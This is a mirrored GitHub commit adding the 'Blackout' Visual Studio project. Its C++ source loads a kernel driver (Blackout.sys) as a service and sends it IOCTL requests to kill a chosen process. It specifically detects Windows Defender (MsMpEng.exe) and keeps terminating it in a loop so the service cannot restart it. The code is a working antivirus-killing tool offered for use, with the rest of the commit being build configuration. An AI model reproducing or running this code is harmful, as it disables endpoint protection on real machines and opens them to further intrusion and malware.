mirror of
https://github.com/ZeroMemoryEx/Blackout
synced 2026-08-09 12:24:34 +00:00
Add project files.
This commit is contained in:
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.5.33530.505
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Blackout", "Blackout\Blackout.vcxproj", "{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}.Debug|x64.Build.0 = Debug|x64
|
||||
{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}.Debug|x86.Build.0 = Debug|Win32
|
||||
{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}.Release|x64.ActiveCfg = Release|x64
|
||||
{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}.Release|x64.Build.0 = Release|x64
|
||||
{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}.Release|x86.ActiveCfg = Release|Win32
|
||||
{813EFF12-ECF3-432A-B6D2-6438CDA0FE49}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {5A3EFC38-77A8-4CD4-A0E7-31CD06B36C2E}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,252 @@
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#include <Windows.h>
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#define INITIALIZE_IOCTL_CODE 0x9876C004
|
||||
|
||||
#define TERMINSTE_PROCESS_IOCTL_CODE 0x9876C094
|
||||
|
||||
int
|
||||
LoadDriver(
|
||||
char* driverPath
|
||||
)
|
||||
{
|
||||
SC_HANDLE hSCM, hService;
|
||||
const char* serviceName = "Blackout";
|
||||
|
||||
// Open a handle to the SCM database
|
||||
hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSCM == NULL) {
|
||||
printf("OpenSCManager failed %X\n", GetLastError());
|
||||
return (-1);
|
||||
}
|
||||
|
||||
hService = CreateServiceA(
|
||||
hSCM,
|
||||
serviceName,
|
||||
serviceName,
|
||||
SERVICE_START | DELETE | SERVICE_STOP,
|
||||
SERVICE_KERNEL_DRIVER,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_IGNORE,
|
||||
driverPath,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hService == NULL) {
|
||||
if (GetLastError() == 1073)
|
||||
{
|
||||
StartServiceA(hService, 0, nullptr);
|
||||
printf("starting service ..\n");
|
||||
return (0);
|
||||
}
|
||||
else
|
||||
printf("CreateService failed %X\n", GetLastError());
|
||||
return (-1);
|
||||
}
|
||||
|
||||
printf("Service created successfully.\n");
|
||||
|
||||
StartServiceA(hService, 0, nullptr);
|
||||
|
||||
printf("starting service ..\n");
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
BOOL
|
||||
CheckProcess(
|
||||
DWORD pn)
|
||||
{
|
||||
DWORD procId = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
if (hSnap != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
PROCESSENTRY32 pE;
|
||||
pE.dwSize = sizeof(pE);
|
||||
|
||||
if (Process32First(hSnap, &pE))
|
||||
{
|
||||
if (!pE.th32ProcessID)
|
||||
Process32Next(hSnap, &pE);
|
||||
do
|
||||
{
|
||||
if (pE.th32ProcessID == pn)
|
||||
{
|
||||
CloseHandle(hSnap);
|
||||
return (1);
|
||||
}
|
||||
} while (Process32Next(hSnap, &pE));
|
||||
}
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
return (0);
|
||||
}
|
||||
|
||||
DWORD
|
||||
GetPID(
|
||||
LPCWSTR pn)
|
||||
{
|
||||
DWORD procId = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
if (hSnap != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
PROCESSENTRY32 pE;
|
||||
pE.dwSize = sizeof(pE);
|
||||
|
||||
if (Process32First(hSnap, &pE))
|
||||
{
|
||||
if (!pE.th32ProcessID)
|
||||
Process32Next(hSnap, &pE);
|
||||
do
|
||||
{
|
||||
if (!lstrcmpiW((LPCWSTR)pE.szExeFile, pn))
|
||||
{
|
||||
procId = pE.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnap, &pE));
|
||||
}
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
return (procId);
|
||||
}
|
||||
|
||||
|
||||
int
|
||||
main(
|
||||
int argc,
|
||||
char **argv
|
||||
) {
|
||||
|
||||
if (argc != 3) {
|
||||
printf("Invalid number of arguments. Usage: Blackout.exe -p <process_id>\n");
|
||||
return (-1);
|
||||
}
|
||||
|
||||
if (strcmp(argv[1], "-p") != 0) {
|
||||
printf("Invalid argument. Usage: Blackout.exe -p <process_id>\n");
|
||||
return (-1);
|
||||
}
|
||||
|
||||
if (!CheckProcess(atoi(argv[2])))
|
||||
{
|
||||
printf("provided process id doesnt exist !!\n");
|
||||
return (-1);
|
||||
}
|
||||
|
||||
|
||||
WIN32_FIND_DATAA fileData;
|
||||
HANDLE hFind;
|
||||
char FullDriverPath[MAX_PATH];
|
||||
BOOL once = 1;
|
||||
|
||||
hFind = FindFirstFileA("Blackout.sys", &fileData);
|
||||
|
||||
if (hFind != INVALID_HANDLE_VALUE) { // file is found
|
||||
if (GetFullPathNameA(fileData.cFileName, MAX_PATH, FullDriverPath, NULL) != 0) { // full path is found
|
||||
printf("driver path: %s\n", FullDriverPath);
|
||||
}
|
||||
else {
|
||||
printf("path not found !!\n");
|
||||
return(-1);
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("driver not found !!\n");
|
||||
return(-1);
|
||||
}
|
||||
printf("Loading %s driver .. \n", fileData.cFileName);
|
||||
|
||||
if (LoadDriver(FullDriverPath))
|
||||
{
|
||||
printf("faild to load driver ,try to run the program as administrator!!\n");
|
||||
return (-1);
|
||||
}
|
||||
|
||||
printf("driver loaded successfully !!\n");
|
||||
|
||||
HANDLE hDevice = CreateFile(L"\\\\.\\Blackout", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hDevice == INVALID_HANDLE_VALUE) {
|
||||
printf("Failed to open handle to driver !! ");
|
||||
return (-1);
|
||||
}
|
||||
|
||||
DWORD bytesReturned = 0;
|
||||
DWORD input = atoi(argv[2]);
|
||||
DWORD output[2] = { 0 };
|
||||
DWORD outputSize = sizeof(output);
|
||||
|
||||
BOOL result = DeviceIoControl(hDevice, INITIALIZE_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);//0x9876C094
|
||||
if (!result)
|
||||
{
|
||||
printf("faild to send initializing request %X !!\n", INITIALIZE_IOCTL_CODE);
|
||||
return (-1);
|
||||
}
|
||||
|
||||
printf("driver initialized %X !!\n", INITIALIZE_IOCTL_CODE);
|
||||
|
||||
if (GetPID(L"MsMpEng.exe") == input)
|
||||
{
|
||||
printf("Terminating Windows Defender ..\nkeep the program running to prevent the service from restarting it\n");
|
||||
while (0x1)
|
||||
{
|
||||
if (input = GetPID(L"MsMpEng.exe"))
|
||||
{
|
||||
if (!DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL))
|
||||
{
|
||||
printf("DeviceIoControl failed. Error: %X !!\n",GetLastError());
|
||||
CloseHandle(hDevice);
|
||||
return (-1);
|
||||
}
|
||||
if (once)
|
||||
{
|
||||
printf("Defender Terminated ..\n");
|
||||
once = 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Sleep(700);
|
||||
}
|
||||
}
|
||||
|
||||
result = DeviceIoControl(hDevice, TERMINSTE_PROCESS_IOCTL_CODE, &input, sizeof(input), output, outputSize, &bytesReturned, NULL);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
printf("DeviceIoControl failed. Error: %X !!\n", GetLastError());
|
||||
CloseHandle(hDevice);
|
||||
return (-1);
|
||||
}
|
||||
|
||||
printf("terminating process !! \n");
|
||||
|
||||
if (!output){}
|
||||
else
|
||||
{
|
||||
printf("error while terminating process !!\n");
|
||||
CloseHandle(hDevice);
|
||||
return (-1);
|
||||
}
|
||||
|
||||
printf("process has been terminated!\n");
|
||||
system("pause");
|
||||
|
||||
CloseHandle(hDevice);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{813eff12-ecf3-432a-b6d2-6438cda0fe49}</ProjectGuid>
|
||||
<RootNamespace>Blackout</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Blackout.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Blackout.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
Reference in New Issue
Block a user